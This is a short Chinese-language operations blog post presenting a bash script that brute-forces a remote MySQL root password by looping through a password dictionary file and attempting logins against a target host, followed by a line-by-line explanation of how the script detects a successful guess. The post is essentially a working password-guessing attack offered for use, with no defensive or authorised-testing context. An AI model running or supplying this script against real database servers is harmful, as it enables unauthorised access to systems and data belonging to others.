linux shell配合密码字典破解远程mysql密码

葫芦的运维日志

浏览量 5943 2014/04/24 17:30

 

[cc lang="bash"]
#!/bin/bash
a=1
for t in `cat pass2`
do
mysql -u root -h “TARGETIP” -p$t 2>ss2
if [ ! -s ss2 ]
then
echo $t>password2
break
fi
echo "$a">ss3
a=$[ $a + 1 ]
cat /dev/null >ss2
done
[/cc]

pass2: 是密码字典文件

mysql -u root -h 168.168.168.168 -p$t 2>ss2 : 错误的提示信息都输出到ss2,并每次都重新创建。

! -s ss2  :bash中-s 检查file是否存在并非空为真,加!为取反,因为程序最后又cat /dev/null >ss2 将ss2置空,如果mysql登陆测试密码不报错的话,将会执行echo $t>password2 并跳出程序。

 

echo "$a">ss3: 运行程序后 cat ss3将可得知执行了几次程序。

 

📝 版权声明

本文作者:王梓 | 原文链接:https://www.bthlt.com/note/268-shell配合密码字典破解远程mysql密码

出处:葫芦的运维日志 | 转载请注明出处并保留原文链接

打赏

留言板

留言提交后需管理员审核通过才会显示

© 冰糖葫芦甜(bthlt.com) 2025 王梓打赏联系方式陕ICP备17005322号-1